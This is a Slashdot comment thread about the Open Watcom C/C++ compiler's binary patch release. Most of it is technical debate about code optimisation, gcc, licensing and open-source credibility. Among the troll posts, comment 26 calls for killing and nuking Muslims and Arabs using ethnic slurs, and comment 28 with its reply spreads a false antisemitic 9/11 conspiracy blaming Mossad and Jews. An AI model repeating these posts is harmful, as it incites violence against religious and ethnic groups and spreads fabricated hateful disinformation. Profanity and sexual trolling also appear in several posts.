      Too bad this was such an easy to spot troll... I like the part about the Kernel development with VB... that almost sums up how clueless some vb developers are... they think that would be possible... reminds me of the april fools joke by VBPJ... said that you could use vb as an operating system... it was funny... until you saw how many clueless vb'ers didn't get that it was an april fools joke...

  14. DOOM! WOOHOO!! by egg+troll · · Score: -1

    Congrats, its only like 10 fucking years old now! Maybe we could get the source code to DOS 5.0 too? Wouldn't that be a fucking thrill. Then maybe they could use some of that to make Linux halfway fucking stable.

    --

    C - A language that combines the speed of assembly with the ease of use of assembly.
  15. Ruminations: Will it merge with gcc? by earthforce_1 · · Score: 3, Insightful

    I wonder if this will be released under a GPL license? If so, when this puppy gets into the pulic domain, there will be anything worth merging into gcc, or vice versa? Or whether the two compilers themselves will ultimately be merged into one product?

    --
    My rights don't need management.
    1. Re:Ruminations: Will it merge with gcc? by Anonymous Coward · · Score: 1, Informative

      not flamebait, but My guess is that Watcom is far, far supierior to anything in GCC. some of the best & brightest worked on Watcom throughout it's 11(?) versions...

      only wish borland would take a clue and do the same..

    2. Re:Ruminations: Will it merge with gcc? by reynaert · · Score: 2, Insightful

      First: being released under the GPL is very different from being released in the public domain. I direct you to the Copyright FAQ.

      Watcom and gcc will never be a single compiler. Watcom's primary goal is to generate optimum code for the i386/DOS. gcc's goal is to be free and as portable as possible. Many of Watcom's optimisations will most likely find their way into gcc (and DJGPP), but they will remain two distinct projects.

    3. Re:Ruminations: Will it merge with gcc? by reynaert · · Score: 5, Insightful

      gcc is portable to dozens of different architectures, and can relatively easily be ported to new architectures or new languages. That's a very impressive feat.

      Watcom generates very optimal code for the i386. That's also a very impressive feat.

      In other words, but compilers are extremely good in what they are designed for.

    4. Re:Ruminations: Will it merge with gcc? by Anonymous Coward · · Score: 0

      The Wacom Compilers are the best for all of the ix86 OSs for wich a version is available, this includes OS/2 and NT, not just DOS. If should ever feel the need to compile something for NT, I would use the Wacom compiler because MS Visual C++ is a joke. The problem is that I don't have acces to NT anymore, since I put the NT 4.0 CD, that came with my computer, in the microwave.

    5. Re:Ruminations: Will it merge with gcc? by reynaert · · Score: 5, Funny

      since I put the NT 4.0 CD, that came with my computer, in the microwave.

      The only acceptable use policy for Windows CD's :)

    6. Re:Ruminations: Will it merge with gcc? by Anonymous Coward · · Score: 0

      This is a good demonstration of darwinism/ natural selection.

      gcc has no incentive to produce good code, whereas if watcom didn't work right, people wouldn't buy it, the company would go bankrupt, and the developers wouldn't be able to feed themselves.

      So it's no surprise that watcom produces great code, is standards compliant, etc, etc, while gcc is a mediocre piece of shit.

    7. Re:Ruminations: Will it merge with gcc? by sirinek · · Score: 0

      Oh yeah. Like no one worth a damn worked on gcc. Who moderated this up?

      I dont even know why im replying to an AC troll. sigh.

    8. Re:Ruminations: Will it merge with gcc? by Anonymous Coward · · Score: 1, Interesting

      Very true. GCC is probably the best compiler currently available for targeting code to multiple platforms. However, there are many aspects of a modern compiler that GCC either does not implement, or that GCC implements poorly (for example, the last time I checked, GCC's register allocation was a complete mess). Consequently, while GCC is very useful for those looking for portability or for something free, it's not necessarily the best choice for those in other situations.

    9. Re:Ruminations: Will it merge with gcc? by BlowCat · · Score: 2
      GPL != public domain

      The press-release is talking about an Open Source license, so GPL is an option, although I would rather expect it to be released under a specialized license, something like Mozilla Public License.

      I don't think that GCC team will want to take any code from any other project, unless it's a project to develop something specifically for GCC.

      It's very hard to merge old large projects such as GCC and Watcom C/C++.

    10. Re:Ruminations: Will it merge with gcc? by AbsoluteRelativity · · Score: 1

      Not quite. With open source (free software), the competition can be on a smaller more modular level, where as closed source products are competing on a higher level. What eventually happens when you compete on such a high level, its called bloat. Its you cram so many features into one little program in order to satisfy the vast majority of users, instead of the user deciding what features they want, they end up with features they dont want or need and have trouble navigating through the program, and new users will have a difficult time finding things and be intimidated by the amount of features.

      When you compete in the modular sense, users have options in features and features can change easily with out requiring a huge release or patch. The only way in which closed source gets close to this is in plugins, but even plugins become bloated and not modular enough. The only way to get to the modular level is to be open source (of course they have to be good at modular programming in order to make it easier for modules to be created). The easiest one I have ever delt with is Java, in some cases I merely replace a java file with one created by someone else and recompile and its done.

      --
      disclaimer : My views do not represent those of every one else in slashdot.
    11. Re:Ruminations: Will it merge with gcc? by Anonymous Coward · · Score: 0

      WATCOM can also generate code for the Alpha and Power PC CPUs. But these versions of the compiler were never released.

    12. Re:Ruminations: Will it merge with gcc? by Florian+Weimer · · Score: 1
      Watcom generates very optimal code for the i386. That's also a very impressive feat.
      Is it? Nobody is using i386s nowadays, except for embedded applications. The younger members of the ia32 family require rather different optimizations (even when compared to the Pentium or Pentium Pro, totally different when compared to the i386).

      Maybe the Watcom compiler generates really good code for the i386, i486, and Pentium processor (perhaps even for the Pentium Pro/II), but AFAIK it doesn't support SSE2, so performance on the Pentium IV won't be much better than GCC. (If it is, it is certainly not due to heavily target-dependent optimizations on Watcoms part.)

    13. Re:Ruminations: Will it merge with gcc? by Khalid · · Score: 2

      What you describe here is in fact rather the Unix way of doing things, small programs or modules targeted to specific tasks, combined together to do bigger tasks; versus the windows's way, big bloated programs (à la MS) which try to be everything to everybody. Of course this is not an absolute rule, you may find many Unix bloated programs too.

    14. Re:Ruminations: Will it merge with gcc? by WatcomGuru · · Score: 1

      >> I wonder if this will be released under a GPL license? Possible but it is unlikely Sybase will do that. >> Or whether the two compilers themselves will >> ultimately be merged into one product? Very very unlikely. For example, Watcom is has passed the first few arguments for functions in registers and that is unlikely to change. To do so would alienate existing customers and would invove a complete rewrite of the compiler. I can see that there will probably a fruitful exchange of ideas but not code.

  16. Oi oi oi! by Anonymous Coward · · Score: -1, Offtopic

    Squiggy, genuine Jersey Oi!

  17. listen by Anonymous Coward · · Score: -1, Troll

    Ever drink a cock soda?.

    That's some real news, not this gay shit on slashdot.

  18. Already? by Anonymous Coward · · Score: 1
    The Open Watcom core team has already created a binary patch update release
    Interesting use of the word once you take the project status page into consideration.

    Perhaps this time next year they'll release another beta of this patch, get a little more free publicity from Slashdot, and get a few more dollars in donations. How exactly does this project qualify as open source? Just because they say it is?

    1. Re:Already? by mewsenews · · Score: 1

      It says very clearly somewhere on the site that it will be released using an approved Open Source license. So yes, they have promised they will make an Open Source release, and that is why this project is Open Source.

    2. Re:Already? by szcx · · Score: 2
      So it's open source because they say it is? Didn't you people learn anything from the Brian West debacle?

      How about they actually prove they're open source (by, say, releasing something under license) before soliciting donations?

    3. Re:Already? by reynaert · · Score: 1

      Slashdot, 22 August 2000 (not 2001): Sybase to Open Souce Watcom C/C++ & Fortran Compiler

      They've been saying for over a year they will release the source.

    4. Re:Already? by WatcomGuru · · Score: 1

      >>Perhaps this time next year they'll release >>another beta of this patch Won't happen >>get a little more free publicity from Slashdot I don't care if we never get any publicity from Slashdot. AFAIK, we never sought it. >> and get a few more dollars in donations. What is all this talk of dollars? News to me. >> How exactly does this project qualify as open >> source? It doesn't. There is a schedule. Ever since 11.0b was released in Feb 1998, there have been a number of fixes by Watcom R&D in Waterloo. I have made a tiny few myself. 11.0c is for _existing customers_ and it includes all the fixes to date that have occured since 11.0b. After this comes OpenWatcom 1.0. There are number of things that need doing (cleaning up the source a bit which we have a little). At this point you will be able to see the source.

    5. Re:Already? by Anonymous Coward · · Score: 0

      Ahh! It's NOT open source, but its planned to be. I Plan to support open source, when Its open source. I do not support the promise of open source, I support open source. I will purchase a CD, when its released.

      I looked at the source for Mozilla the day it was avaible, before I was reading slashdot and was amazed and inspired. I also downloaded the source for the early 'C complier releaseed by Dennis Ritchie. He was embarrased, but "In looking over this material, I have mixed emotions; so much of this stuff is immature and not well-done, and there is an element of embarrassment about displaying it. But at the same time it does capture two moments in a period of creativeness and may have some historical interest."

      Probibly MOST commercial programs have an embaressing code base, based upon the marketing concept: "Just get the bug count low enough so that enough idiots will buy it"

      I have purchased the following releases: RedHat 6.1, 7.0, 7.1, SuSe Linux, 5.2, 6.0, YellowDog 1.2, and PPC2kR4. I put my money on reality, not promises.

    6. Re:Already? by howlingmad · · Score: 1

      Hmm, so a project does qualify as open source if it releases new versions very often?
      Hey, wait a moment! You mean Microsoft qualify as open source, right?

      This project is not as big as the few successors Apache, Samba and the like (yes, there're only few). So they *need* publicity, they *need* a few more dollars in donations, because not everybody wants to work for nothing.

      You took a look at Mozilla and 'the early 'C complier releaseed by Dennis Ritchie'? And it was 'immature and not well-done'. And you have contributed better solutions? Please say that you have...

      Markus

    7. Re:Already? by WatcomGuru · · Score: 1

      Fair enough, I understand what you say. When we release OpenWatcom 1.0 you can try a copy then.

  19. Bravo! by maggard · · Score: 4, Interesting
    The more high-quality compilers the better!

    More compilers means more techniques applied and evaluated, benefits from compare & contrast, ability to more easily identify errors specific to a compiler and not code, and possibly more generic code in a more diverse environment.\

    --
    I don't read ACs: If a post isn't worth so much as a nom de plume to its author then I wont bother either.
    1. Re:Bravo! by Per+Abrahamsen · · Score: 2

      It also means less developer ressources to spend per compiler. It isn't like a new compiler suddenly make more people (or money) interested in doing development.

  20. FP! by Anonymous Coward · · Score: -1, Offtopic
    First penis!

    Please try to keep posts on topic. Try to reply to other people comments instead of starting new threads. Read other people's messages before posting your own to avoid simply duplicating what has already been said. Use a clear subject that describes what your message is about. Offtopic, Inflammatory, Inappropriate, Illegal, or Offensive comments might be moderated. (You can read everything, even moderated posts, by adjusting your threshold on the User Preferences Page)

  21. Eh... Am I missing something? by reynaert · · Score: 1, Redundant

    This OpenWatcom project has existed for over a year, claiming they will make a open source release.

    Yet they still haven't released a single line of source. They haven't even decided on a license. All they did is release a binary patch.

    Why don't they just rip out the stuff they can't distribute, and publish the incomplete source? At the very least, it would be a proof of their intentions.

    As it stands, this thing is just a hoax.

    1. Re:Eh... Am I missing something? by Anonymous Coward · · Score: 0

      i'm downloading a free c++ & fortran compiler for windows from their site, right now. yeah , it's not the sorce code, YET, but it's a start - it's something you sure as hell couldn't produce & give away for free, by yourself. Don't look a gift horse in the mouth - this "it's been a year, it's a hoax" talk isn't exactly going to make other companies want to jump on the open sorce bandwagon. Give them time to do it *right*, and thank them for doing it at all...

    2. Re:Eh... Am I missing something? by n3m6 · · Score: 5, Informative

      From the FRONT PAGE !!!

      "When the Open Watcom 1.0 release is complete, the team will be open for general admission from anyone. The Open Watcom team is closed for the initial part of the project due to NCA restrictions with Sybase. If you have any further questions, please visit our FAQ section first. "

      From the FAQ

      " Is everything that was on the Watcom CD available for free download?

      No. The commercial versions of the Watcom C/C++ and Fortran compilers contained licensed copies of the Windows SDK, Microsoft Foundation Classes, OS/2 Toolkit and other commercial tools. Due to licensing issues, those components cannot be made freely available. Hence in order to utilise the 11.0c binary patch release, you will need an official copy of the 11.0, 11.0a or 11.0b installation CD. "



      Read the FAQ first please
      The release of the path itself shows that the project is under development and it is not dead. However the project needs to solve its legal issues which WILL take time.

      i am not a developer nor have any contacts or relationships or sex with sybase or scitechsoft.
      Thank you!

    3. Re:Eh... Am I missing something? by reynaert · · Score: 1

      Ok, I admit I was a little trollish.

      Still, the only thing they've done so far is make a end-of-life product (since June 30, 1999) available for download. That's nothing exceptional, Borland for example does the same thing with their old compilers.

      BTW, there are several ports of gcc to DOS (DJGPP) and Windows (Cygwin, MinGW).

    4. Re:Eh... Am I missing something? by reynaert · · Score: 3

      However the project needs to solve its legal issues.

      Who says they ever will be solved? The whole OpenWatcom project can just disappear one morning because legal issues. Until source has been released I consider the project vaporware.

      I looked a little in their BugZilla system, and saw that the DOS/4GW extender is one of those 'legal issues'. But why do they have to wait for permission for DOS/4GW to release the rest of the system? They can just strip out the utilities, libraries and what else they can't distribute. The result might not even compile, but that's not important. The important thing is that there's source. Maybe somebody can write replacements for the parts with 'legal issues'. Maybe we'll have to wait until they can sort it out. But in the meantime, the rest of the system is available, and will be available forever.

    5. Re:Eh... Am I missing something? by Anonymous Coward · · Score: 0

      So, the Wacom compiler is far better.

    6. Re:Eh... Am I missing something? by Anonymous Coward · · Score: 0

      my bad.. they didnt even provide it free, just an upgrade for existing users... so i take back that last one.. heh

    7. Re:Eh... Am I missing something? by ToasterTester · · Score: 1

      Yes you are missing something...

      Large commericial products like Watcom was are usually fully of licensed code. Then being that probably hundreds of programmers have come and gone probably those left aren't too sure which code belongs to who. In our litigous world you just can't take a chance and put our the code and hope not to get sued. Then all the code they have to remove has to be replaced so not a fast process. Just look how long it took SGI to release the XFS filesystem for the same licensing issues. So I wouldn't say its a hoax, and a waste of time to release code before its ready.

      Anyway Watcom was only a good C compiler in the DOS days. It was a only so-so Windows and C++ compiler. Watcom is probably just the internel compiler for Sybase products and hoping by going "open" to get some free QA and maybe some usable bug fixes. Same thing Borland did with Interbase.

    8. Re:Eh... Am I missing something? by Anonymous Coward · · Score: 0

      Haven't they heard of Tran's PMode/W ? It's a faster, slimmer, drop-in replacement for DOS4G/W.

      It was written by a democoder, and I have the source for an old version around on this box somewhere.

      Lots of demos for 386/486/Pentium and extended DOS used this extender. There was also a Pmode (not /W) dos-extender as well, I believe.

      If they are using the DOS4G/W issue to delay/avoid releasing the rest of the compilier source, then that's a BS excuse.

      Btw, why don't they release at least what source they can, and ask for people to submit code for the APIs implemented by the "licensed and cannot open-source" code, instead of asking for donations - ie. be able to donate code, instead of money.

      I think that they are just having cold feet about the whole true open-source deal.

    9. Re:Eh... Am I missing something? by ajax142 · · Score: 1

      Of course the DOS port of DJGPP only supports 386s and above, which before you say, who uses a 286, look at a project like Freedos (www.freedos.org) who's very goal is to run on 8008 to Pentium 4's. This is a project thats needs a open Source C compiler but really lacks one, Borland C 1.1 is the default c compiler for the project currently

    10. Re:Eh... Am I missing something? by WatcomGuru · · Score: 1

      >> Yet they still haven't released a single line of source. They haven't even decided on a license. All they did is release a binary patch. > Why don't they just rip out the stuff they can't distribute, and publish the incomplete source? We don't have to prove a damn thing. As it stands, the tools are based on 10.6, a previous version of the compiler. That will _never_ be open sourced. But 11.0c will be. 11.0c is for existing customers, OpenWatcom 1.0 will for everyone else.

    11. Re:Eh... Am I missing something? by howlingmad · · Score: 1

      Why don't they just rip out the stuff they can't distribute, and publish the incomplete source?

      And you would do that on more than a million lines of source code in a few month? Wow! I'm impressed.

      Markus

    12. Re:Eh... Am I missing something? by WatcomGuru · · Score: 1

      >>Who says they ever will be solved?

      They have been solved

      >>Until source has been released I consider the project vaporware.

      Well that is your opinion, but as I am on the OpenWatcom team and also in contact with Watcom R&D, Waterloo, Canada, your opinion is wrong. I have seen things move forward internally.

      >>But why do they... ...until they can sort it out

      That is exactly what is happening :-). 11.0c consists of files that are only 100% Sybase owned + any agreements we make with various 3rd party authors.

    13. Re:Eh... Am I missing something? by WatcomGuru · · Score: 1

      >> Still, the only thing they've done so far is make ...

      No we haven't. If we did so, we would make 11.0b available. As it is, 11.0c is made available which contains 3 years worth of fixes.

      Have a look at the file

      ftp://ftp.openwatcom.org/watcom/c_readme.txt

  22. glad to see them accept donations by Dr.+Awktagon · · Score: 5, Interesting

    I wish EVERY substantial Free/Open software project had a donation page pop up before download. There are several programs that I use regularly for which I would donate when downloading or upgrading.

    In fact, Free/Open software is much more valuable to me than the alternatives.

    So in other words, I will only pay for Free software! ;-)

    (Too bad they use Amazon for their donations, for those of us boycotting them.)

    1. Re:glad to see them accept donations by reynaert · · Score: 1

      Just pointing out that they haven't released a single line of code yet. They haven't shown any proof they will.

      Therefore it is hardly a substantial Free/Open software project, and donating money is a little optimistic.

    2. Re:glad to see them accept donations by jesser · · Score: 3, Interesting

      Don't wait for they to ask for money. Just send them some, along with a note saying you like the program they're working on (so they have some idea why they're suddenly getting money from strangers). I made a personal toolbar button that lets you quickly send money to any e-mail address listed on a web page. It works with Netscape 4, IE5 (but not 6), and Mozilla. You can get it here. You don't even have to install anything, although you do need to get an account at PayDirect if you want to actually send money with it.

      By the way, Amazon's boycottable actions aren't the only reason not to use their donation system. It's also one of the most expensive donation systems.

      --
      The shareholder is always right.
    3. Re:glad to see them accept donations by AbsoluteRelativity · · Score: 1

      Actually (not to disagree with your caution), but I have to note that both are reputable companies and I recall a long ago, SciTech in particular had source code available for an earlier version of their SVGA/VESA library, I remember because I was using it to learn how to use VESA in my own little Watcom DOS experienments. In visiting their site its cool (in an old skool sort of way)to see they're still doing business and still selling Display Doctor and MGL.

      --
      disclaimer : My views do not represent those of every one else in slashdot.
    4. Re:glad to see them accept donations by AbsoluteRelativity · · Score: 1

      LOL... its all still there...

      http://sunsite.lanet.lv/ftp/mirror/x2ftp/msdos/p ro gramming/scitech/svgakt51.zip

      I was extremely fanatical when I came across x2ftp.oulo.fi, it had a lot of information and was contributory to my addiction to programming. Man, it was like finding a gold mine.

      --
      disclaimer : My views do not represent those of every one else in slashdot.
    5. Re:glad to see them accept donations by WatcomGuru · · Score: 1

      I still don't know where this "donation" business comes from. As far as I am concerned it is fiction. And as I have been involved with the Open Sourcing of Watcom from start to finish, before even SciTech got involved, I know.

      And we don't to prove anything to anyone. I am just glad that existing customers, some of whom I have known 6 years, have a better product in their hands than 11.0b.

      But hey, good times are ahead :-)

    6. Re:glad to see them accept donations by WatcomUser · · Score: 1

      Yeah,

      I've been following the posts here, and I don't know where the "donations" bit came up from either.

      I've been a strong supporter (and customer) of watcom from the early days.

      The watcom compiler is a great C/C++ compiler. I don't see how a compiler can be "dead". I do a lot of development for embedded systems, and can't imagine using a better compiler that watcom's.

      I don't see how today's *visual* C++ compilers can compare.

      I for one am looking forward to future compiler releases.

      All the best to the openwatcom team !

    7. Re:glad to see them accept donations by WatcomGuru · · Score: 1

      >>I've been following the posts here, and I don't know where the "donations" bit came up from either

      Scitech emailed me. If you look at
      http://www.openwatcom.org/download.html
      there it is. Embarassing not to know (when I usually know beforehand) :-)

      Read the statement carefully. The key word is "distribution".

  23. experience with W2K [OT] by alienmole · · Score: 5, Funny
    my hopes were high that it would perform up to snuff with the Windows 2k boxes which were(and still are!) doing an AMAZING job at their respective tasks of serving HTTP requests, DNS, and fileserving.

    Yeah, it is amazing how Win2K can keep on functioning even when it is simultaneously infected with Code Red, Sadmind, and Nimda! The data rates produced by virus-generated GET requests are most impressive, and only exceeded by the rate at which IIS with ASP leaks memory. Microsoft and its "professional full fledged development team" have truly reached a pinnacle of performance and stability!

    1. Re:experience with W2K [OT] by LegendLength · · Score: 1

      ...from the looks of it, the Microsoft "shared source" program seems to offer all of the same freedoms as the GPL.

      LOL.

    2. Re:experience with W2K [OT] by Anonymous Coward · · Score: 0

      You, sir, are a moron. If you cannot develop of IIS/ASP without leaking memory, then perhaps you should learn what in the hell you're doing. And, if you're too stupid to patch your machine, then perhaps you should just shoot yourself now instead of continuing to waste oxygen.

    3. Re:experience with W2K [OT] by alienmole · · Score: 2
      If you cannot develop of IIS/ASP without leaking memory, then perhaps you should learn what in the hell you're doing.

      Hey, ever heard of "automatic garbage collection"? Apparently Microsoft hasn't either...

  24. How much use is this in the modern era? by Ryu2 · · Score: 4, Insightful

    Not a troll. 32-bit flat memory, etc. under DOS was cool in the early 90s, but really how viable is it in this day and age?

    --
    There's 10 types of people in this world, those who understand binary and those who don't.
    1. Re:How much use is this in the modern era? by reynaert · · Score: 1

      Watcom was also known for generating very optimal code. It easily beat most other compilers.

      When (if) they release it under the GPL, gcc's i386 code generation will become a lot better.

    2. Re:How much use is this in the modern era? by Anonymous Coward · · Score: 0

      The Wacom C/C++ Compilers have consistantly blown away the competition in ANSI compliance and in the quality of the bianary it generates, whether optimizing for code size or execution speed. The ONLY parameter that it has ever come in second, is compile time, and a steak takes lomger to cook then a hotdog.

    3. Re:How much use is this in the modern era? by rabidcow · · Score: 1

      Ok, so that part is useless now. Programs are still written for flat, 32-bit addressing on intel x86 processors tho. Most of the code generation & optimizations should still be useful for a while. (Until everything goes to 64-bit, if ever...)

      Then again, maybe not... Considering the major changes in the x86 architecture, how *does* Watcom compare to modern compilers?

    4. Re:How much use is this in the modern era? by OverCode@work · · Score: 1

      Watcom C++ was a very solid product all around. 32-bit flat model DOS(4G) was only one of its targets.

      In particular, Watcom's optimizer was well respected.

      -John

    5. Re:How much use is this in the modern era? by Anonymous Coward · · Score: 0

      The Watcom C/C++ 11.0 compiler is a modern compiler. It currently outperforms every other compiler for the x86 that it has been tested against. Just because Borland and Macrohard release new versions of their IDEs every year or so, does not indicate that the actual compiler has been changed. Do you think that MS is stupid enough to use Visual C++ to compile Win2k?

    6. Re:How much use is this in the modern era? by eric17 · · Score: 1

      I don't know about gcc, but I compared watcom version 10 or so with visual C/C++ for some C image processing code years ago. IIRC, it was NOT noticably faster than microsoft's compiler at the time (if at all), and was much slower compiling code (and I mean DOG slow). At the time I concluded that it's reputation was some sort of myth, because I did not see anything worth putting up with the slow compile rate. And the debugger was hideous, if I recall correctly. I wanted to get away from microsloth, I really did, but it was a complete let down.

    7. Re:How much use is this in the modern era? by Anonymous Coward · · Score: 0

      Watcom's compiler had an excellent profiling tool. Just dynamite. You could even specify the function calling conventions in great detail - i.e., what register gets what parameter. This compiler is great for embedded systems that puts memory at a premium.

    8. Re:How much use is this in the modern era? by rabidcow · · Score: 1

      Can you link me to a compiler comparison newer than this one? (dec 98)

      The author concludes that:
      GCC (ver 2.8.0) is better than Borland 5.02 and Symantec 7.5 (the worst); is comparable to Watcom 10 and 11 and is worst than Intel 2.4 and Microsoft 5.0.

    9. Re:How much use is this in the modern era? by Ed+Avis · · Score: 2

      I don't think that a release of the Watcom compiler, whether under GPL or not, will automatically help GCC. When the Pentium came out, some people at Intel released an improved version of gcc with Pentium optimizations. But the way they were implemented was specific to that architecture - not 'clean' in some way or another - and the patches weren't included in the mainstream gcc for this reason. The project became pgcc and remained separate, although newer releases of the mainstream gcc have got better at Pentium / PPro stuff.

      The design of the Watcom compiler will surely be very different to gcc, so it won't be at all easy to just merge the code. We might see some distributions like Stampede or Mandrake compiling a few selected packages using the Watcom compiler for better performance though. I doubt a whole distribution could be recompiled with it at this stage; I think the Linux kernel code has gcc-specific inline assembler, for example.

      (Disclaimer: I'm not an expert on this stuff, corrections welcome.)

      --
      -- Ed Avis ed@membled.com
    10. Re:How much use is this in the modern era? by scrytch · · Score: 4, Informative

      Not a troll. 32-bit flat memory, etc. under DOS was cool in the early 90s, but really how viable is it in this day and age?

      Because that's the same memory model linux uses (except on alphas where it's 64-bit). Or any other OS that supports virtual memory. Before that, in DOS you had to deal with segments, evil nastiness like FAR pointers and so forth.

      --
      I've finally had it: until slashdot gets article moderation, I am not coming back.
    11. Re:How much use is this in the modern era? by be-fan · · Score: 2

      However, Microsoft's compiler is *damn* good (performance wise, not conformance wise). It makes fast code and compiles really, really fast. Watcom is a little slower in produced code speed, though I don't know about compile time. Still quite respectable, though.

      --
      A deep unwavering belief is a sure sign you're missing something...
    12. Re:How much use is this in the modern era? by WatcomGuru · · Score: 1

      Best ask those who are still using 32-bit DOS Extenders. There are quite a few that ask for help in the Watcom newsgroups. I don't know why they are using them

    13. Re:How much use is this in the modern era? by Anonymous Coward · · Score: 0

      Well the Linux kernel isn't really written in ANSI C - it's written in GCC C! It takes advantage of GCC specific features and probably implementation defined features... I'm not sure that GCC 3.0 can even be used for the kernel.

      Watcom could probably be use for other packages though certainly (if they are written in more standards compliant C/C++), and would be great as a development tool if it outoptimizes GCC.

      Watcom C's real claim to fame (apart from 32 bit DOS 4G support) was it's optimizations - it blew Microsoft C out of the water. Microsoft C has since much improved, but GCC does a poor job of optimizing (and by all accounts GCC 3.0 actually produces slower code than 2.95.x - despite promising the opposite). It'll be interesting to benchmark Watcom C against the competition (GCC, Intel for Linux) to see how it stacks up nowadays.

    14. Re:How much use is this in the modern era? by howlingmad · · Score: 1

      Developers in the embedded area make use of 32-bit DOS. Because you need no shut-down. Just switch that thing off. Like you did with your PC before you installed that Windows.

      Markus

    15. Re:How much use is this in the modern era? by Anonymous Coward · · Score: 0

      You can't have very optimal code, it's either optimal or it isn't.

    16. Re:How much use is this in the modern era? by Anonymous Coward · · Score: 0

      It was showing its age in 1995 when the Pentium was out. It was no use at all for Pentium Pro architectures. It's obsolete.

    17. Re:How much use is this in the modern era? by Anonymous Coward · · Score: 0

      its not just the dos extender you bonehead! optimizations optimizations optimizations!

      the watcom compiler was so impressive that it could take a naively written vga pinball program that wouldn't run on a 486-25 with the borland compiler, and make it run smoothly on a 386-16!

      just try and get gcc to pull tricks like that.

    18. Re:How much use is this in the modern era? by WatcomGuru · · Score: 1

      Those are kind words but they are not accurate :-) I could list areas where the compiler could improve, no problem; areas where I know of bugs or where code quality could improve. Note I am a Watcom advocate but I like to call a spade a spade and measure truthflly against opponents. And I do think MS uses VC++ for Win2K.

      I used Watcom C 7.0 in 1987 and had swapped to it because Microsoft C 5.1 at the time was poor. Over the years, Watcom improved. But over the years Microsoft improved and its current C & C++ compiler, version 6.0, IMO produces code that more often than not is better than Watcom particularly in the area of floating-point. With 11.0c, an important floating-point switch bug was fixed in the C++ compiler so I would like to see Watcom 11.0c C/C++ retested against benchmarks that are quoted here.

      Version 7.0 of VC++ is interesting as well. It is much more compliant to the ISO C++ 99 standard than version 6.0. Truly MS have done a lot of work.

      So, IMO, there is lot of work for the OpenWatcom team (I am a member) to make the compiler faster and as compliant (if not more so - I am thinking of member templates which VC++7.0 will _NOT_ implement) than VC++.

  25. summary so far by Anonymous Coward · · Score: -1, Offtopic

    Get some PRIORITIES (Score:-1, Flamebait) by Anonymous Coward on Saturday September 29, @08:32PM (#2369452) The worst terrorist attack in recorded history occurred just over two weeks ago, and you people are discussing how but a few days ago the Open Watcom Project made it's first public release....

    [ Reply to This | Parent ] * Re:Get some PRIORITIES by dieragheads (Score:-1) Saturday September 29, @08:37PM * Suck my COCK by Anonymous Coward (Score:-1) Saturday September 29, @08:38PM Lol... ... I think the idea of the Graviton Lance was a concept that most game engines haven't fully developed (Fire a weapon, and tendrils of energy fire in truly random directions (Not just immediate explosino area) creating collateral damage that could hinder your progress later in the game.) Not to mention that Syndicate Wars had one of the coolest openings ever made....

    (Score:-1, Offtopic) by Anonymous Coward on Saturday September 29, @08:36PM (#2369463) * A case of beer * Some acid * Three gerbils * Duct tape * Two young goats * A twelve-year old virgin * Nipple clamps * Four enema bags * Styrofoam penuts * A lot of lube * And a cardboard cutout of George W. Bush ...

    (Score:-1) by Pr0n K1ng on Saturday September 29, @08:37PM (#2369465) (User #160688 Info | Last Journal: Tuesday August 28, @10:38AM) Even though there's other posts here, mine was first!...

    (Score:-1) by egg troll on Saturday September 29, @08:43PM (#2369480) (User #515396 Info | Last Journal: Wednesday August 29, @04:16PM) I work as a consultant for several fortune 500 companies, and I think I can shed a little light on the climate of the open source community at the moment....

    (Score:-1) by egg troll on Saturday September 29, @08:46PM (#2369485) (User #515396 Info | Last Journal: Wednesday August 29, @04:16PM) Congrats, its only like 10 fucking years old now!...

    (Score:0) by Anonymous Coward on Saturday September 29, @08:53PM (#2369497) The Open Watcom core team has already created a binary patch update release Interesting use of the word once you take the project status [openwatcom.org] page into consideration.

    Perhaps this time next year they'll release another beta of this patch, get a little more free publicity from Slashdot, and get a few more dollars in donations....

    (Score:1) by reynaert on Saturday September 29, @09:06PM (#2369515) (User #264437 Info) This OpenWatcom project has existed for over a year, claiming they will make a open source release.

    1. Re:summary so far by Anonymous Coward · · Score: -1, Offtopic

      how the hell is a summary of the current topic offtopic?? fucking idiot moderator

  26. Incinerate Islam. Burn Them Alive. Nuke Muslims. by Anonymous Coward · · Score: -1, Troll
    Our beloved dead cry out in tortured agony:
    1. Kill all Muslims.
    2. Kill all Mohammedans.
    3. Kill all Arabs.
    4. Kill all Towel Heads.
    5. Kill all Camel Jockeys.
    6. Kill all Sand Niggers.
    7. Kill all Dune Coons.
    8. Kill all Islam.
    9. Nuke their countries to hell.
    10. Nuke them again.
    11. Death to Islam.

    I piss on Mecca. I menstruate on the Koran. I shit on Mohammed.

  27. great news! by Anonymous Coward · · Score: -1, Troll

    This is great. Maybe we'll finally have a decent, free C compiler!

  28. WTC Truth! by Anonymous Coward · · Score: -1, Offtopic

    Facts:

    4000 Jews were told to stay away from WTC Sept. 11.

    Many of the people defamed as monstrous killers have been found alive and not in league with terrorists in the Middle East.

    Thus the names are probably all false.

    Therefore it required signifigant organizational resources to pull off the murders.

    Osama bin Laden is hiding out in Afganistan do you think that if he had signifigant organizational resources that he would be there?

    The only group that could have pulled off the attacks is Mossad. The Israelis are trying to kill all the Muslim people by having the Americans destroy them.

    This is a vast Zionist conspiracy and must be stopped!

    Proof is here

    1. Re:WTC Truth! by Anonymous Coward · · Score: -1, Offtopic

      Exactly, they have no proof these boogy men shown all over the news are the real hi-jackers. Of course the bodies will never be recovered, how convenient. Also convenient one of the alleged hi-jackers passports was found blocks away in fine condition by a jewish passerby. How did this man's passport survive a flame hot enough to melt steal? People bodies where evaporated in 1200 degree heat and yet conveniently there is this so called terrorist arabs passport sitting in the new york street blocks away for a nice jew to find. Can you say planted evidence? It's most likely part of a zionist conspiracy, i'm sure the high levels of the united states government knows whats going on, but how can they perfom ethnic cleansing on arabs without an excuse? So the jews masterminded the perfect plot and with the jew controlled media spewing anti mulsim lies it makes it easy for zionists like to begin a new crusade against islam and arab people.

  29. Godddamn by robvasquez · · Score: -1, Offtopic

    Slashdot...isn't cool anymoreby n3m6 (Score:2) Saturday September 29, @11:37PM

    glad to see them accept donations (Score:2)
    by Dr. Awktagon on Saturday September 29, @11:08PM (#2369521)
    (User #233360 Info)
    I wish EVERY substantial Free/Open software project had a donation page pop up before download. There are several programs that I use regularly for which I would donate when downloading or upgrading.

    In fact, Free/Open software is much more valuable to me than the alternatives.

    So in other words, I will only pay for Free software! ;-)

    (Too bad they use Amazon for their donations, for those of us boycotting them.)

    [ Reply to This | Parent ]

    Re:glad to see them accept donations by reynaert (Score:1) Saturday September 29, @11:21PM

    How much use is this in the modern era? (Score:3, Insightful)
    by Ryu2 on Saturday September 29, @11:11PM (#2369528)
